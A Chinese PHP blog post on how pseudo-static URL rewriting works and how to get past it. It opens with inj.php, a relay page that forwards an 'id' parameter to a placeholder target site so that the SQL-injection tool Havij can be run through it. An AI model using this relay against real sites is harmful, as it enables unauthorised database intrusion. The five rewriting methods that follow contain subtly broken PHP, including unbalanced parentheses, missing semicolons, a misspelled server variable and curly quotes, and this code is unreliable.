PHP 伪静态技术原理以及突破原理实现介绍


Posted in PHP onJuly 12, 2013

先说实现方法:
inj.php:

<?php 
set_time_limit(10); 
$id=$_GET["id"]; 
$id=str_replace(" ","%20",$id); 
$id=str_replace("=","%3D",$id); 
$url="http://www.xxx.com/index.php/library/more/id/$id.html"; 
$ch=curl_init(); 
curl_setopt($ch,CURLOPT_URL,"$url"); 
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);//启用时将curl_init()获取的信息以文件流的形式返回,而不是直接输出 
curl_setopt($ch,CURLOPT_HEADER,0);//启用时会将头文件的信息作为数据流输出 
$output=curl_exec($ch); 
curl_close($ch); 
print_r($output); 
?>

用wamp搭建一个服务器,把上面inj.php放到wamp/www/中,然后在Havij中跑 http://127.0.0.1/inj.php?id=1
=============================
PHP伪静态实现方法一(利用Apache 服务器的功能)
1、检查Apache是否支持mod_rewrite
2、让Apache 支持.htaccess
3、建立.htaccess文件
4、规则:
RewriteEngine on
RewriteRule ([a-zA-Z]{1,})-([0-9]{1,}).html$index.php?action=$1&id=$2
([a-zA-Z]{1,})-([0-9]{1,}) 是 URL长啥样
$1 是([a-zA-Z]{1,}) 所匹配的
$2 是[0-9]{1,} 所匹配的
比如说:www.xx.com/page-18.html
真实的URL如下:
action = page
id = 18
============================
PHP伪静态实现方法二(编码实现)
$Php2Html_FileUrl = $_SERVER["REQUEST_URI"]
echo $Php2Html_FileUrl
例子:// localhost/php100/test.php?id|1@action|2
$Php2Html_UrlString = str_replace("?","",str_replace("/","",strrchr(strrchr($Php2Html_FileUrl,"/"),"?")) )) 
/* 
内层的strrchr出来:/test.php?id|1@action|2 
外层的strrchr出来:id|1@action|2 
内层的str_replace出来:把 / 号去掉,本例子 没有 
外层的str_replace出来:把 ?号去掉,本例子 没有 
*/ 
$Php2Html_UrlQueryStrList = explode("@",$Php2Html_UrlString); 
/*把str变成以@为界限划分的数组:id|1 和 action|2*/ 
foreach($Php2Html_UrlQueryStrList as $Php2Html_UrlQueryStr) 
{ 
$Php2Html_TmpArray = explode("|",$Php2Html_UrlQueryStr); 
/* id => 1 和 action => 2*/ 
$_GET[$Php2Html_TmpArray[0]] = $Php2Html_TmpArray[1]; 
}

============================
PHP伪静态实现方法三(编码实现)
例子: localhost/php100/test.php/1/2
$filename = basename($_SERVER["SCRIPT_NAME"]); 
echo $_SERVER["SCRIPT_NAME"]; 
echo $filename; 
if(strtolower($filename) == 'test.php'){ 
if(!empty($_GET[id])){ 
$id=intval($_GET[id]); 
echo $id; 
$action = intval($_GET[action]); 
echo $action; 
}else{ 
$nav=$_SERVER["REQUEST_URI"]; 
$script=$_SERVER["SRCIPT_NAME"]; 
//这句话应该是把URL前面那段给搞掉。。剩下 "1/2"之类的。。 
$nav=ereg_replace("$script","",urldecode($nav)); 
echo $nav; 
$vars = explode("/",$nav); 
print_r($vars); 
$id=intval($vars[1]); 
$action=intval($vars[2]); 
} 
echo $id.'&'.$action; 
}

============================
PHP伪静态实现方法四(编码实现)
function mod_rewrite(){ 
global $_GET; 
$nav = $_SERVER["REQUEST_URI"]; 
$script_name = $_SERVER["SCRIPT_NAME"] 
$nav=substr(ereg_replace("$script_name"),"",urldecode($nav)),1); 
$nav=preg_replace("/^.ht(m){1}(l){0,1}$/","",$nav);//去掉尾部的htm或html 
$vars=explode("/",$nav); 
print_r($vars); 
for($i=0;$i<count($vars);$i+=2) 
{ 
$_GET[$vars[$i]] = $vars[$i+1]; 
} 
return $_GET; 
}

============================
PHP伪静态实现方法五(编码实现)
例子:/1,100,8630.html
if(preg_match(“/\/(\d+),(\d+),(\d+)\.html/si”,$path_info,$arr_path)){ 
$gid =intval($arr_path[1]); //取得值1 
$sid =intval($arr_path[2]); //取得值100 
$softid =intval($arr_path[3]); //取得值8630 
} 
else 
echo "Path:Error!";

总结下:
(1)伪静态技术比较好突破,需要自己构造中转注入页面。
(2)伪静态技术原理都很简单,就是把原来的 index.php?id=1 这种形式的URL给替换成其它形式。
PHP 相关文章推荐
php 正则表达式小结
Aug 31 PHP
PHP 分页类(模仿google)-面试题目解答
Sep 13 PHP
php 魔术方法使用说明
Oct 20 PHP
PHP中实现汉字转区位码应用源码实例解析
Jun 14 PHP
PHP函数getenv简介和使用实例
May 12 PHP
PHP封装分页函数实现文本分页和数字分页
Oct 23 PHP
php实现将数组转换为XML的方法
Mar 09 PHP
PHP实现可自定义样式的分页类
Mar 29 PHP
yii2实现根据时间搜索的方法
May 25 PHP
thinkphp中的url跳转用法分析
Jul 12 PHP
YII框架中搜索分页jQuery写法详解
Dec 19 PHP
php实现 master-worker 守护多进程模式的实例代码
Jul 20 PHP
php的$_FILES的临时储存文件与回收机制实测过程
Jul 12 #PHP
php图像处理函数大全(推荐收藏)
Jul 11 #PHP
PHP 获取远程文件大小的3种解决方法
Jul 11 #PHP
深入Nginx + PHP 缓存详解
Jul 11 #PHP
基于PHP中的常用函数回顾
Jul 11 #PHP
PHP 获取文件权限函数介绍
Jul 11 #PHP
浅析php学习的路线图
Jul 10 #PHP
You might like
php下实现折线图效果的代码
2007/04/28 PHP
php mssql 时间格式问题
2009/01/13 PHP
zend framework多模块多布局配置
2011/02/26 PHP
rrmdir php中递归删除目录及目录下的文件
2011/05/15 PHP
五款PHP代码重构工具推荐
2014/10/14 PHP
基于php的微信公众平台开发入门实例
2015/04/15 PHP
利用php做服务器和web前端的界面进行交互
2016/10/31 PHP
PHP文件后缀不强制为.php方法
2019/03/31 PHP
JS写的数字拼图小游戏代码[学习参考]
2008/10/29 Javascript
Javascript创建Silverlight Plugin以及自定义nonSilverlight和lowSilverlight样式
2010/06/28 Javascript
JavaScript结合AJAX_stream实现流式显示
2015/01/08 Javascript
jquery中ready()函数执行的时机和window的load事件比较
2015/06/22 Javascript
基于jQuery实现交互体验社会化分享代码附源码下载
2016/01/04 Javascript
js实现点击每个li节点,都弹出其文本值及修改
2016/12/15 Javascript
微信小程序 wx.request方法的异步封装实例详解
2017/05/18 Javascript
jQuery正则验证注册页面经典实例
2017/06/10 jQuery
WdatePicker.js时间日期插件的使用方法
2017/07/26 Javascript
jQuery内容过滤选择器与子元素过滤选择器用法实例分析
2019/02/20 jQuery
jQuery实现高度灵活的表单验证功能示例【无UI】
2020/04/30 jQuery
vant中的toast轻提示实现代码
2020/11/04 Javascript
Python安装图文教程 Pycharm安装教程
2018/03/27 Python
python pandas dataframe 行列选择,切片操作方法
2018/04/10 Python
解读python如何实现决策树算法
2018/10/11 Python
Numpy 多维数据数组的实现
2020/06/18 Python
django filter过滤器实现显示某个类型指定字段不同值方式
2020/07/16 Python
CSS3中的元素过渡属性transition示例详解
2016/11/30 HTML / CSS
Html5 localStorage入门教程
2018/04/26 HTML / CSS
使用CSS实现弹性视频html5案例实践
2012/12/26 HTML / CSS
app内嵌H5 webview 本地缓存问题的解决
2020/10/19 HTML / CSS
小区门卫工作职责
2013/12/14 职场文书
给分销商的致歉信
2014/01/14 职场文书
2014年党的群众路线学习心得体会
2014/11/05 职场文书
大学生逃课检讨书
2015/05/04 职场文书
被委托人身份证明
2015/08/07 职场文书
2019个人工作态度自我评价
2019/04/24 职场文书
MySQL系列之十 MySQL事务隔离实现并发控制
2021/07/02 MySQL